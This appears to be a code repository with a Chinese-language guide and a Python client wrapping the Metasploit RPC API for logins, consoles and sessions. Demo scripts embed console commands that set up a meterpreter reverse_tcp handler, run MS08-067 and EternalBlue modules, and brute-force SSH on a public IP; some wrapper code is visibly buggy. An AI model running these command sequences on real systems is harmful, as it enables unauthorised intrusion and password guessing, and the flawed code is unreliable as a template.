├── .gitignore ├── testmsfrpc.py ├── .idea ├── modules.xml ├── misc.xml ├── msfapi.iml └── workspace.xml ├── demo1.py ├── TestMsfRpcClient.py ├── demo2.py ├── pymsfrpc ├── MsfRpcClient.py └── msfrpc.py ├── README.md └── msfapi.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | */.DS_Store 3 | *.xml 4 | /.idea 5 | -------------------------------------------------------------------------------- /testmsfrpc.py: -------------------------------------------------------------------------------- 1 | # _*_ encoding:utf-8 _*_ 2 | # __author__ = "dr0op" 3 | 4 | from pymsfrpc import msfrpc 5 | 6 | client = msfrpc.MsfRpcClient('msf',server='10.10.11.180') 7 | exploit=client.modules.use('exploit','exploit/multi/handler') -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/msfapi.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 11 | -------------------------------------------------------------------------------- /demo1.py: -------------------------------------------------------------------------------- 1 | # _*_ encoding:utf-8 _*_ 2 | # __author__ = "dr0op" 3 | 4 | import msgpack 5 | import http.client 6 | 7 | HOST="10.10.11.180" 8 | PORT="55553" 9 | headers = {"Content-type" : "binary/message-pack"} 10 | 11 | req = http.client.HTTPConnection(HOST, PORT) 12 | options = ["auth.login","msf","msf"] 13 | options = msgpack.packb(options) 14 | req.request("POST","/api/1.0",body=options,headers=headers) 15 | res = req.getresponse().read() 16 | res = msgpack.unpackb(res) 17 | res = res[b'token'].decode() 18 | print(res) -------------------------------------------------------------------------------- /TestMsfRpcClient.py: -------------------------------------------------------------------------------- 1 | # _*_ encoding:utf-8 _*_ 2 | # __author__ = "dr0op" 3 | 4 | from pymsfrpc import MsfRpcClient 5 | import time 6 | 7 | ip = "10.10.11.180" 8 | port = "55553" 9 | user = "msf" 10 | passwd = "msf" 11 | c = MsfRpcClient.Client(ip,port,user,passwd) 12 | 13 | 14 | def dictdecode(data): 15 | if isinstance(data, bytes): return data.decode('ascii') 16 | if isinstance(data, dict): return dict(map(convert, data.items())) 17 | if isinstance(data, tuple): return map(convert, data) 18 | return data 19 | 20 | console_id = c.create_console().get(b'id') 21 | print("consoleID:",console_id) 22 | print("list",c.list_consoles()) 23 | 24 | cmd = """ 25 | use exploit/multi/handler 26 | set PAYLOAD windows/meterpreter/reverse_tcp 27 | set LHOST 10.10.11.180 28 | set LPORT 3355 29 | exploit -z -j 30 | """ 31 | 32 | res = c.get_version() 33 | resp = c.write_console(console_id,cmd) 34 | print(resp) 35 | 36 | time.sleep(1) 37 | while True: 38 | res = c.read_console(console_id) 39 | if res[b'busy'] == True: 40 | time.sleep(1) 41 | continue 42 | elif res[b'busy'] == False: 43 | print(res[b'data'].decode()) 44 | break 45 | 46 | print("sessions:",c.list_sessions()) 47 | print("pro_moudles:",c.send_command(["pro.modules",c.token,"post"])) 48 | print("meterpreter_run_single:",c.send_command(["session.meterpreter_run_single",c.token,2,"ls"])) 49 | print("meterpreter_script:",c.send_command(["session.meterpreter_script",c.token,2,"ps"])) 50 | #print("write_shell:",c.write_shell(1,"info")) 51 | print("read_shell:",c.read_shell(2)) 52 | print("write meterpreter",c.write_meterpreter(2,'whoami\n')) 53 | print("read meterpreter",c.read_meterpreter(2)) 54 | 55 | 56 | print(c.destroy_console(console_id)) -------------------------------------------------------------------------------- /demo2.py: -------------------------------------------------------------------------------- 1 | # _*_ encoding:utf-8 _*_ 2 | # __author__ = "dr0op" 3 | 4 | # -*- coding=utf-8 -*- 5 | import msgpack 6 | import time 7 | import http.client 8 | import requests 9 | 10 | 11 | HOST="10.10.11.180" 12 | PORT="55553" 13 | 14 | class Msfrpc: 15 | 16 | class MsfError(Exception): 17 | 18 | def __init__(self, msg): 19 | self.msg = msg 20 | def __str__(self): 21 | return repr(self.msg) 22 | 23 | class MsfAuthError(MsfError): 24 | def __init__(self, msg): 25 | self.msg = msg 26 | 27 | def __init__(self, opts=[]): 28 | self.host = HOST 29 | self.port = PORT 30 | self.uri = "http://172.20.10.5/api" 31 | self.ssl = False 32 | self.authenticated = False 33 | self.token = False 34 | self.headers = {"Content-type" : "binary/message-pack"} 35 | if self.ssl: 36 | self.cli = http.client.HTTPConnection(self.host,self.port) 37 | else: 38 | self.cli = http.client.HTTPConnection(self.host, self.port) 39 | 40 | def encode(self, data): 41 | return msgpack.packb(data) 42 | 43 | def decode(self, data): 44 | return msgpack.unpackb(data) 45 | 46 | def call(self, meth, opts = []): 47 | if meth != "auth.login": 48 | if not self.authenticated: 49 | raise self.MsfAuthError("MsfRPC: Not Authenticated") 50 | if meth != "auth.login": 51 | opts.insert(0,self.token) 52 | 53 | opts.insert(0,meth) 54 | params = self.encode(opts) 55 | res = requests.post(self.uri, params,self.headers) 56 | resp = self.cli.getresponse() 57 | 58 | return self.decode(resp.read()) 59 | 60 | def login(self, user, password): 61 | ret = self.call('auth.login', [user,password]) 62 | if ret.get('result') == 'success': 63 | self.authenticated = True 64 | self.token = ret.get('token') 65 | return True 66 | 67 | else: 68 | raise self.MsfAuthError("MsfRPC: Authentication failed") 69 | 70 | 71 | if __name__ == '__main__': 72 | 73 | # 使用默认设置创建一个新的客户端实例 74 | client = Msfrpc({}) 75 | # 使用密码abc123登录msf服务器 76 | client.login('msf', 'msf') 77 | # 78 | # # 从服务器获得一个漏洞列表 79 | mod = client.call('module.exploits') 80 | print(mod) 81 | # 82 | # # 从返回的字典模型抓取第一个值 83 | # print ("Compatible payloads for : %s\n")%mod['modules'][0] 84 | # 85 | # # 获取payload 86 | # ret = client.call('module.compatible_payloads',[mod['modules'][0]]) 87 | # for i in (ret.get('payloads')): 88 | # print ("\t%s")%i 89 | 90 | ''' 91 | if __name__ == '__main__': 92 | 93 | # 创建一个新的默认配置的客户端实例 94 | client = Msfrpc({}) 95 | # 使用密码abc123登录msf 96 | client.login('msf','msf') 97 | try: 98 | res = client.call('console.create') 99 | console_id = res['id'] 100 | except: 101 | print ("Console create failed\r\n") 102 | sys.exit() 103 | host_list = '192.168.7.135' 104 | cmd = """ 105 | use exploit/windows/smb/ms08_067_netapi 106 | 107 | set RHOST 192.168.7.135 108 | 109 | exploit 110 | 111 | 112 | 113 | use auxiliary/scanner/ssh/ssh_login 114 | 115 | set RHOSTS 198.13.51.203 116 | 117 | set USERNAME root 118 | 119 | set PASS_FILE /Users/drop/dr0op/temp/pass.txt 120 | 121 | exploit 122 | 123 | """ 124 | client.call('console.write',[console_id,cmd]) 125 | time.sleep(1) 126 | while True: 127 | res = client.call('console.read',[console_id]) 128 | if len(res['data']) > 1: 129 | print (res['data']) 130 | if res['busy'] == True: 131 | time.sleep(1) 132 | continue 133 | break 134 | 135 | client.call('console.destroy',[console_id]) 136 | ''' 137 | -------------------------------------------------------------------------------- /pymsfrpc/MsfRpcClient.py: -------------------------------------------------------------------------------- 1 | import msgpack 2 | import http.client as request 3 | 4 | 5 | class AuthError(Exception): 6 | """ 7 | 登录认证错误异常处理 8 | """ 9 | def __init__(self): 10 | print("登录失败,检查账户密码") 11 | 12 | 13 | 14 | class ConnectionError(Exception): 15 | """ 16 | 链接msfrpc错误异常处理 17 | """ 18 | def __init__(self): 19 | print("连接失败,服务端或网络问题") 20 | 21 | 22 | class Client(object): 23 | """ 24 | MsfRPC Client客户端,发送处理命令行参数 25 | """ 26 | def __init__(self,ip,port,user,passwd): 27 | # 属性 28 | self.user = user 29 | self.passwd = passwd 30 | self.server = ip 31 | self.port = port 32 | self.headers = {"Content-Type": "binary/message-pack"} 33 | self.client = request.HTTPConnection(self.server,self.port) 34 | self.auth() 35 | 36 | 37 | #装饰器对属性读写前的处理 38 | @property 39 | def headers(self): 40 | return self._headers 41 | 42 | @headers.setter 43 | def headers(self,value): 44 | self._headers = value 45 | 46 | @property 47 | def options(self): 48 | return self._options 49 | 50 | @options.setter 51 | def options(self,value): 52 | #将数据打包为通用模式 53 | self._options = msgpack.packb(value) 54 | 55 | @property 56 | def token(self): 57 | return self._token 58 | 59 | @token.setter 60 | def token(self,value): 61 | self._token = value 62 | 63 | def auth(self): 64 | """ 65 | 登录认证函数 66 | :return 一串随机的token值: 67 | """ 68 | print("Attempting to access token") 69 | self.options = ["auth.login",self.user,self.passwd] 70 | try: 71 | self.client.request("POST","/api",body=self.options,headers=self.headers) 72 | except: 73 | ConnectionError() 74 | c = self.client.getresponse() 75 | if c.status != 200: 76 | raise ConnectionError() 77 | else: 78 | res = msgpack.unpackb(c.read()) 79 | print(res) 80 | if b'error' not in res.keys() and res[b'result'] == b'success': 81 | self.token = res[b'token'] 82 | print("Token recived:> %s",self.token) 83 | else: 84 | raise AuthError() 85 | 86 | def send_command(self,options): 87 | self.options = options 88 | self.client.request("POST","/api",body=self.options,headers=self.headers) 89 | c = self.client.getresponse() 90 | if c.status != 200: 91 | raise ConnectionError() 92 | else: 93 | res = msgpack.unpackb(c.read()) 94 | return res 95 | 96 | 97 | def get_version(self): 98 | """ 99 | 获取msf和ruby的版本信息 100 | :return ruby 和 msf vresion: 101 | """ 102 | res = self.send_command(["core.version",self.token]) 103 | return res 104 | 105 | def create_console(self): 106 | """ 107 | 创建一个虚拟终端 108 | :return : 109 | """ 110 | res = self.send_command(["console.create",self.token]) 111 | return res 112 | 113 | def destroy_console(self,console_id): 114 | """ 115 | 销毁一个终端 116 | :param console_id 终端id: 117 | :return: 118 | """ 119 | #console_id = str(console_id) 120 | res = self.send_command(["console.destroy",self.token,console_id]) 121 | return res 122 | 123 | def list_consoles(self): 124 | """ 125 | 获取一个已获取的终端列表,【id,prompt,busy】 126 | :return list[id,prompt,busy]: 127 | """ 128 | res = self.send_command(["console.list",self.token]) 129 | return res 130 | 131 | def write_console(self,console_id,data,process=True): 132 | """ 133 | 向终端中写命令 134 | :param console_id: id 135 | :param data:要发送到终端的命令 136 | :param process: 137 | :return: 138 | """ 139 | if process == True: 140 | data +="\n" 141 | str(console_id) 142 | res = self.send_command(["console.write",self.token,console_id,data]) 143 | return res 144 | 145 | def read_console(self,console_id): 146 | """ 147 | 获取发送命令后终端的执行结果 148 | :param console_id: 149 | :return: 150 | """ 151 | str(console_id) 152 | res = self.send_command(["console.read",self.token,console_id]) 153 | return res 154 | 155 | def list_sessions(self): 156 | """ 157 | 列出所有session信息 158 | :return: 159 | """ 160 | res = self.send_command(["session.list",self.token]) 161 | return res 162 | 163 | def stop_session(self,ses_id): 164 | """ 165 | 停止一个session 166 | :param ses_id: 167 | :return: 168 | """ 169 | str(ses_id) 170 | res = self.send_command(["session.stop",self.token,ses_id]) 171 | return res 172 | 173 | def read_shell(self,ses_id,read_ptr=0): 174 | """ 175 | 获取session执行shell信息 176 | :param ses_id: 177 | :param read_ptr: 178 | :return: 179 | """ 180 | str(ses_id) 181 | res = self.send_command(["session.shell_read",self.token,ses_id,read_ptr]) 182 | return res 183 | 184 | def write_shell(self,ses_id,data,process=True): 185 | """ 186 | 向一个shell发送命令 187 | :param ses_id: 188 | :param data: 189 | :param process: 190 | :return: 191 | """ 192 | if process == True: 193 | data += "\n" 194 | str(ses_id) 195 | res = self.send_command(["session.shell_write",self.token,ses_id,data]) 196 | return res 197 | 198 | def write_meterpreter(self,ses_id,data): 199 | """ 200 | 向meterpreter发送命令 201 | :param ses_id: 202 | :param data: 203 | :return: 204 | """ 205 | str(ses_id) 206 | res = self.send_command(["session.meterperter_write",self.token,ses_id,data]) 207 | return res 208 | 209 | def read_meterpreter(self,ses_id): 210 | """ 211 | 读取meterpreter信息 212 | :param ses_id: 213 | :return: 214 | """ 215 | str(ses_id) 216 | res = self.send_command(["session.meterperter_read",self.token,ses_id]) 217 | return res 218 | 219 | def run_module(self,_type,name,HOST,PORT,payload=False): 220 | """ 221 | 执行模块 222 | :param _type: 223 | :param name: 224 | :param HOST: 225 | :param PORT: 226 | :param payload: 227 | :return: 228 | """ 229 | if payload != False: 230 | d = ["module.execute",self.token,_type,name,{"LHOST":HOST,"LPOST":PORT}] 231 | else: 232 | d = ["module.execute",self.token,_type,name,{"RHOST":HOST,"RHOST":PORT}] 233 | res = self.send_command(d) 234 | return res 235 | 236 | # this if statement is for testing funtions inside of auth 237 | # only put tests here 238 | # if __name__ == "__main__": 239 | # auth = Client("127.0.0.1","msf","yFdkc6fB") 240 | # print(auth.get_version()) 241 | # print(auth.list_consoles()) 242 | # print(auth.create_console()) 243 | # print(auth.read_console(1)) 244 | # print(auth.write_console(1,"ls")) 245 | # print(auth.destroy_console(1)) 246 | # print(auth.list_sessions()) 247 | # print(auth.run_module("exploit","ms17_010_eternalblue","1.1.1.1","1")) 248 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Metasploit API使用文档 2 | 3 | Metasploit官方提供了API调用方式,有 4 | 5 | * RPC 6 | * REST 7 | 8 | 两种API调用方式,REST方式只支持专业版使用,这里推荐使用RPC方式调用,即标准API调用。 9 | 10 | ## 使用RPC API调用 11 | 12 | 在通过对Cobalt Strike2.4版本客户端和`armitage`客户端进行反编译,发现其API调用也为RPC调用。可以认为RPC API调用是"稳定",“可靠”的。 13 | 14 | ### RPC API 调用官方文档 15 | 16 | https://metasploit.help.rapid7.com/docs/standard-api-methods-reference 17 | 18 | ## 开启服务端RPC 服务 19 | 20 | 开启服务端API服务有两种方式: 21 | 22 | 1. 通过msfconsole加载msfrpc插件来开启RPC 23 | 2. 通过msfrpcd服务来开启RPC 24 | 25 | `msfconsole`其实也可以理解为`metasploit`的`客户端`,和`msfclient`,`armitage`的功能一致。只是操作方式有所不同。 26 | 27 | ### 通过msfconsole加载RPC 28 | 29 | 进入`msfconsole`之后,运行加载命令 30 | 31 | ```shell 32 | msf5 > load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User='msf' Pass='msf' 33 | [*] MSGRPC Service: 127.0.0.1:55553 34 | [*] MSGRPC Username: msf 35 | [*] MSGRPC Password: msf 36 | [*] Successfully loaded plugin: msgrpc 37 | msf5 > 38 | ``` 39 | 40 | 其中Serverhost即运行msf的主机,可以为`127.0.0.1`也可以是`0.0.0.0`区别是前者只能本机连接。 41 | 42 | ### 通过msfrpcd来开启RPC服务 43 | 44 | ```shell 45 | $ msfrpcd -U msf -P msf -S -f 46 | [*] MSGRPC starting on 0.0.0.0:55553 (NO SSL):Msg... 47 | [*] MSGRPC ready at 2018-10-17 11:06:46 +0800. 48 | ``` 49 | 50 | 即以用户名和密码分别为`msf`,`msf`,不启用`SSL`来开启服务。`msfrpcd`和`msfconsole`命令一般在同一目录下。如果环境变量设置正确,一般可以直接使用。 51 | 52 | 关于msfrpcd的详细参数如下: 53 | 54 | ```shell 55 | $ ./msfrpcd -h 56 | 57 | Usage: msfrpcd 58 | 59 | OPTIONS: 60 | 61 | -P 设置RPC登录密码 62 | -S 在RPC socket上禁止使用SSL 63 | -U 设置RPC登录用户名 64 | -a 绑定一个IP地址(本机IP地址) 65 | -f 在后台以精灵进程(守护进程)的方式运行、启动 66 | -h 帮助菜单 67 | -n 禁止使用数据库 68 | -p 绑定某个端口,默认为55553 69 | -u 设置Web服务器的URI 70 | ``` 71 | 72 | ## MSF RPC 与msgpack 73 | 74 | 与msf rpc api通信需要对通信的内容使用`msgpack`进行序列化,简单来说就是将要发送的数据包转换为二进制形式,以便于传输和格式统一。msgpack序列化之后的数据包支持多种语言,可以在msf服务端由ruby正常解析。 75 | 76 | Python下安装msgpack包: 77 | 78 | ```shell 79 | $ pip install msgpack 80 | ``` 81 | 82 | ```python 83 | >>> import msgpack 84 | >>> dic = {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'} 85 | >>> res = msgpack.packb(dic) 86 | >>> res 87 | '\x82\xa5token\xda\x00 TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK\xa6result\xa7success' 88 | >>> 89 | 90 | ``` 91 | 92 | ## MSF API请求 93 | 94 | 在服务端开启RPC之后,可以使用HTTP协议去访问,会提示404,访问'api'会将文件下载下来。如果发生上述效果,表明服务端开启成功。 95 | 96 | 其实,MSF的RPC调用也利用HTTP协议,需要先连接`RPC socket`然后构造`POST`请求,不同的是,需要指定`Content-type`为`binary/message-pack`,这样客户端才会正确解析包。 97 | 98 | ### 登录认证API调用 99 | 100 | 登录认证时向服务端`POST`序列化发送如下数据包: 101 | 102 | 成功的请求示例 103 | 104 | 客户: 105 | 106 | ```json 107 | [ "auth.login", "MyUserName", "MyPassword"] 108 | ``` 109 | 110 | 服务器: 111 | 112 | ```json 113 | { "result" => "success", "token" => "a1a1a1a1a1a…" } 114 | ``` 115 | 116 | 这里用一个连接`MSF`服务端并进行登录的简单demo来演示: 117 | 118 | ```python 119 | 120 | # _*_ encoding:utf-8 _*_ 121 | # __author__ = "dr0op" 122 | # python3 123 | 124 | import msgpack 125 | import http.client 126 | 127 | HOST="127.0.0.1" 128 | PORT="55553" 129 | headers = {"Content-type" : "binary/message-pack"} 130 | 131 | # 连接MSF RPC Socket 132 | req = http.client.HTTPConnection(HOST, PORT) 133 | options = ["auth.login","msf","msf"] 134 | # 对参数进行序列化(编码) 135 | options = msgpack.packb(options) 136 | # 发送请求,序列化之后的数据包 137 | req.request("POST","/api/1.0",body=options,headers=headers) 138 | # 获取返回 139 | res = req.getresponse().read() 140 | # 对返回进行反序列户(解码) 141 | res = msgpack.unpackb(res) 142 | res = res[b'token'].decode() 143 | print(res) 144 | ``` 145 | 146 | 成功执行的结果`res`如下: 147 | 148 | ```json 149 | {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'} 150 | ``` 151 | 152 | `Token`是一个随机字符串,是登录认证后的标识。 153 | 154 | ## API详解 155 | 156 | 以上使用一个简单的例子理解请求的`API`调用数据包格式及请求方式,其他的`API`请求都是同理的。只是请求的内容有所改变而已。 157 | 158 | 关于常用的API请求和返回总结如下: 159 | 160 | #### 认证: 161 | 162 | 成功的请求示例 163 | 164 | 客户: 165 | 166 | ```json 167 | [ "auth.login", "MyUserName", "MyPassword"] 168 | ``` 169 | 170 | 服务器: 171 | 172 | ```json 173 | { "result" => "success", "token" => "a1a1a1a1a1a…" } 174 | ``` 175 | 176 | ### 不成功的请求示例 177 | 178 | 客户: 179 | 180 | ```json 181 | [ "auth.login", "MyUserName", "BadPassword"] 182 | ``` 183 | 184 | 服务器: 185 | 186 | ```json 187 | { 188 | "error" => true, 189 | "error_class" => "Msf::RPC::Exception", 190 | "error_message" => "Invalid User ID or Password" 191 | } 192 | ``` 193 | 194 | 退出同理 195 | 196 | 197 | 198 | ## console.create 创建一个终端 199 | 200 | 在成功登录之后,就可以使用console.create创建一个终端实例。创建过程需要一定的时间,如果上个创建未完成,下一终端创建返回的dict会提示`busy`项为`True` 201 | 202 | 客户: 203 | 204 | ```json 205 | [ "console.create", ""] 206 | ``` 207 | 208 | 服务器: 209 | 210 | ```json 211 | { 212 | "id" => "0", 213 | "prompt" => "msf > ", 214 | "busy" => false 215 | } 216 | ``` 217 | 218 | ## console.destroy删除一个终端 219 | 220 | 客户: 221 | 222 | ```json 223 | [ "console.destroy", "", "ConsoleID"] 224 | ``` 225 | 226 | 服务器: 227 | 228 | ```json 229 | { "result" => "success" } 230 | ``` 231 | 232 | ## console.list 233 | 234 | console.list方法将返回所有现有控制台ID,其状态和提示的哈希值。 235 | 236 | 客户: 237 | 238 | ```json 239 | [ "console.list", ""] 240 | ``` 241 | 242 | 服务器: 243 | 244 | ```jsno 245 | { 246 | "0" => { 247 | "id" => "0", 248 | "prompt" => "msf exploit(\x01\x02\x01\x02handler\x01\x02) > ", 249 | "busy" => false 250 | }, 251 | "1" => { 252 | "id" => "1", 253 | "prompt" => "msf > ", 254 | "busy" => true 255 | } 256 | } 257 | ``` 258 | 259 | ## console.write 260 | 261 | console.write方法将数据发送到创建的终端,就想平时操作msfconsole那样,但需要给不同的命令后加上换行。 262 | 263 | 客户: 264 | 265 | ```json 266 | [ "console.write", "", "0", "version\n"] 267 | ``` 268 | 269 | 服务器: 270 | 271 | ```json 272 | { "wrote" => 8 } 273 | ``` 274 | 275 | ## 276 | 277 | ## console.read 278 | 279 | console.read方法将返回发送到终端命令的执行结果。 280 | 281 | 客户: 282 | 283 | ```json 284 | [ "console.read", "", "0"] 285 | ``` 286 | 287 | 服务器: 288 | 289 | ```json 290 | { 291 | "data" => "Framework: 4.0.0-release.14644[..]\n", 292 | "prompt" => "msf > ", 293 | "busy" => false 294 | } 295 | ``` 296 | 297 | ## MsfRpcClient 298 | 299 | 再使用一个`MSF RPC` Demo来演示一下: 300 | 301 | ```python 302 | # _*_ encoding:utf-8 _*_ 303 | # __author__ = "dr0op" 304 | # python3 305 | import msgpack 306 | import time 307 | import http.client 308 | 309 | HOST="127.0.0.1" 310 | PORT="55553" 311 | 312 | class Msfrpc: 313 | 314 | class MsfError(Exception): 315 | """ 316 | 异常处理函数 317 | """ 318 | def __init__(self, msg): 319 | self.msg = msg 320 | def __str__(self): 321 | return repr(self.msg) 322 | 323 | class MsfAuthError(MsfError): 324 | """ 325 | 登录异常处理 326 | """ 327 | def __init__(self, msg): 328 | self.msg = msg 329 | 330 | def __init__(self, opts=[]): 331 | self.host = HOST 332 | self.port = PORT 333 | self.uri = "/api" 334 | self.ssl = False 335 | self.authenticated = False 336 | self.token = False 337 | self.headers = {"Content-type" : "binary/message-pack"} 338 | if self.ssl: 339 | self.cli = http.client.HTTPConnection(self.host,self.port) 340 | else: 341 | self.cli = http.client.HTTPConnection(self.host, self.port) 342 | 343 | def encode(self, data): 344 | """ 345 | 序列化数据(编码) 346 | """ 347 | return msgpack.packb(data) 348 | 349 | def decode(self, data): 350 | """ 351 | 反序列化数据(解码) 352 | """ 353 | return msgpack.unpackb(data) 354 | 355 | def call(self, meth, opts = []): 356 | if meth != "auth.login": 357 | if not self.authenticated: 358 | raise self.MsfAuthError("MsfRPC: Not Authenticated") 359 | if meth != "auth.login": 360 | opts.insert(0,self.token) 361 | 362 | opts.insert(0,meth) 363 | params = self.encode(opts) 364 | # 发送请求包 365 | res = requests.post(self.uri, params,self.headers) 366 | resp = self.cli.getresponse() 367 | # 获取结果并解码 368 | return self.decode(resp.read()) 369 | 370 | def login(self, user, password): 371 | """ 372 | 登录认证函数 373 | """ 374 | ret = self.call('auth.login', [user,password]) 375 | if ret.get('result') == 'success': 376 | self.authenticated = True 377 | self.token = ret.get('token') 378 | return True 379 | 380 | else: 381 | raise self.MsfAuthError("MsfRPC: Authentication failed") 382 | 383 | 384 | if __name__ == '__main__': 385 | 386 | # 创建一个新的默认配置的客户端实例 387 | client = Msfrpc({}) 388 | # 使用密码abc123登录msf 389 | client.login('msf','msf') 390 | try: 391 | res = client.call('console.create') 392 | console_id = res['id'] 393 | except: 394 | print ("Console create failed\r\n") 395 | sys.exit() 396 | # 要发送给终端的命令 397 | cmd = """ 398 | use auxiliary/scanner/ssh/ssh_login 399 | 400 | set RHOSTS 127.0.0.1 401 | 402 | set USERNAME root 403 | 404 | set PASS_FILE /tmp/pass.txt 405 | 406 | exploit 407 | 408 | """ 409 | client.call('console.write',[console_id,cmd]) 410 | time.sleep(1) 411 | while True: 412 | # 发送命令并获取结果 413 | res = client.call('console.read',[console_id]) 414 | if len(res['data']) > 1: 415 | print (res['data']) 416 | if res['busy'] == True: 417 | time.sleep(1) 418 | continue 419 | break 420 | 421 | client.call('console.destroy',[console_id]) 422 | 423 | ``` 424 | 425 | 在这个例子中,调用MSF RPC登录获取`Token`之后,创建一个`console`,并发送命令到`console,由msf服务端去执行。执行成功之后会将结果以序列化后的形式返回。反序列化之后成为一个dict,包含了返回后的结果。 426 | 427 | ## 对API进行封装 428 | 429 | 以上是一个基础的MSF API简单调用模块去攻击的demo,但是在应用中,需要对其常见的API调用进行封装,做成一个属于我们自己的`库`,使用时,只需要去调用它即可。 430 | 431 | 简单的封装如下: 432 | 433 | ```python 434 | import msgpack 435 | import http.client as request 436 | 437 | 438 | class AuthError(Exception): 439 | """ 440 | 登录认证错误异常处理 441 | """ 442 | def __init__(self): 443 | print("登录失败,检查账户密码") 444 | 445 | 446 | 447 | class ConnectionError(Exception): 448 | """ 449 | 链接msfrpc错误异常处理 450 | """ 451 | def __init__(self): 452 | print("连接失败,服务端或网络问题") 453 | 454 | 455 | class Client(object): 456 | """ 457 | MsfRPC Client客户端,发送处理命令行参数 458 | """ 459 | def __init__(self,ip,port,user,passwd): 460 | # 属性 461 | self.user = user 462 | self.passwd = passwd 463 | self.server = ip 464 | self.port = port 465 | self.headers = {"Content-Type": "binary/message-pack"} 466 | self.client = request.HTTPConnection(self.server,self.port) 467 | self.auth() 468 | 469 | 470 | #装饰器对属性读写前的处理 471 | @property 472 | def headers(self): 473 | return self._headers 474 | 475 | @headers.setter 476 | def headers(self,value): 477 | self._headers = value 478 | 479 | @property 480 | def options(self): 481 | return self._options 482 | 483 | @options.setter 484 | def options(self,value): 485 | #将数据打包为通用模式 486 | self._options = msgpack.packb(value) 487 | 488 | @property 489 | def token(self): 490 | return self._token 491 | 492 | @token.setter 493 | def token(self,value): 494 | self._token = value 495 | 496 | def auth(self): 497 | """ 498 | 登录认证函数 499 | :return 一串随机的token值: 500 | """ 501 | print("Attempting to access token") 502 | self.options = ["auth.login",self.user,self.passwd] 503 | try: 504 | self.client.request("POST","/api",body=self.options,headers=self.headers) 505 | except: 506 | ConnectionError() 507 | c = self.client.getresponse() 508 | if c.status != 200: 509 | raise ConnectionError() 510 | else: 511 | res = msgpack.unpackb(c.read()) 512 | print(res) 513 | if b'error' not in res.keys() and res[b'result'] == b'success': 514 | self.token = res[b'token'] 515 | print("Token recived:> %s",self.token) 516 | else: 517 | raise AuthError() 518 | 519 | def send_command(self,options): 520 | self.options = options 521 | self.client.request("POST","/api",body=self.options,headers=self.headers) 522 | c = self.client.getresponse() 523 | if c.status != 200: 524 | raise ConnectionError() 525 | else: 526 | res = msgpack.unpackb(c.read()) 527 | return res 528 | 529 | 530 | def get_version(self): 531 | """ 532 | 获取msf和ruby的版本信息 533 | :return ruby 和 msf vresion: 534 | """ 535 | res = self.send_command(["core.version",self.token]) 536 | return res 537 | 538 | def create_console(self): 539 | """ 540 | 创建一个虚拟终端 541 | :return : 542 | """ 543 | res = self.send_command(["console.create",self.token]) 544 | return res 545 | 546 | def destroy_console(self,console_id): 547 | """ 548 | 销毁一个终端 549 | :param console_id 终端id: 550 | :return: 551 | """ 552 | #console_id = str(console_id) 553 | res = self.send_command(["console.destroy",self.token,console_id]) 554 | return res 555 | 556 | def list_consoles(self): 557 | """ 558 | 获取一个已获取的终端列表,【id,prompt,busy】 559 | :return list[id,prompt,busy]: 560 | """ 561 | res = self.send_command(["console.list",self.token]) 562 | return res 563 | 564 | def write_console(self,console_id,data,process=True): 565 | """ 566 | 向终端中写命令 567 | :param console_id: id 568 | :param data:要发送到终端的命令 569 | :param process: 570 | :return: 571 | """ 572 | if process == True: 573 | data +="\n" 574 | str(console_id) 575 | res = self.send_command(["console.write",self.token,console_id,data]) 576 | return res 577 | 578 | def read_console(self,console_id): 579 | """ 580 | 获取发送命令后终端的执行结果 581 | :param console_id: 582 | :return: 583 | """ 584 | str(console_id) 585 | res = self.send_command(["console.read",self.token,console_id]) 586 | return res 587 | 588 | def list_sessions(self): 589 | """ 590 | 列出所有session信息 591 | :return: 592 | """ 593 | res = self.send_command(["session.list",self.token]) 594 | return res 595 | 596 | def stop_session(self,ses_id): 597 | """ 598 | 停止一个session 599 | :param ses_id: 600 | :return: 601 | """ 602 | str(ses_id) 603 | res = self.send_command(["session.stop",self.token,ses_id]) 604 | return res 605 | 606 | def read_shell(self,ses_id,read_ptr=0): 607 | """ 608 | 获取session执行shell信息 609 | :param ses_id: 610 | :param read_ptr: 611 | :return: 612 | """ 613 | str(ses_id) 614 | res = self.send_command(["session.shell_read",self.token,ses_id,read_ptr]) 615 | return res 616 | 617 | def write_shell(self,ses_id,data,process=True): 618 | """ 619 | 向一个shell发送命令 620 | :param ses_id: 621 | :param data: 622 | :param process: 623 | :return: 624 | """ 625 | if process == True: 626 | data += "\n" 627 | str(ses_id) 628 | res = self.send_command(["session.shell_write",self.token,ses_id,data]) 629 | return res 630 | 631 | def write_meterpreter(self,ses_id,data): 632 | """ 633 | 向meterpreter发送命令 634 | :param ses_id: 635 | :param data: 636 | :return: 637 | """ 638 | str(ses_id) 639 | res = self.send_command(["session.meterperter_write",self.token,ses_id,data]) 640 | return res 641 | 642 | def read_meterpreter(self,ses_id): 643 | """ 644 | 读取meterpreter信息 645 | :param ses_id: 646 | :return: 647 | """ 648 | str(ses_id) 649 | res = self.send_command(["session.meterperter_read",self.token,ses_id]) 650 | return res 651 | 652 | def run_module(self,_type,name,HOST,PORT,payload=False): 653 | """ 654 | 执行模块 655 | :param _type: 656 | :param name: 657 | :param HOST: 658 | :param PORT: 659 | :param payload: 660 | :return: 661 | """ 662 | if payload != False: 663 | d = ["module.execute",self.token,_type,name,{"LHOST":HOST,"LPOST":PORT}] 664 | else: 665 | d = ["module.execute",self.token,_type,name,{"RHOST":HOST,"RHOST":PORT}] 666 | res = self.send_command(d) 667 | return res 668 | 669 | 670 | # if __name__ == "__main__": 671 | # auth = Client("127.0.0.1","msf","yFdkc6fB") 672 | # print(auth.get_version()) 673 | # print(auth.list_consoles()) 674 | # print(auth.create_console()) 675 | # print(auth.read_console(1)) 676 | # print(auth.write_console(1,"ls")) 677 | # print(auth.destroy_console(1)) 678 | # print(auth.list_sessions()) 679 | # print(auth.run_module("exploit","ms17_010_eternalblue","1.1.1.1","1")) 680 | 681 | ``` 682 